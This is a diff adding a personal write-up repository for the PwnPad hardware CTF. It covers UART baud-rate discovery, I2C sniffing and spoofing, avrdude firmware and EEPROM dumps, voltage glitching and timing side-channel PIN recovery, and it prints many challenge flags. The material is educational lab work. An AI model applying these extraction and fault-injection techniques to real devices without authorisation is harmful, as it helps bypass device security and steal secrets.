--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
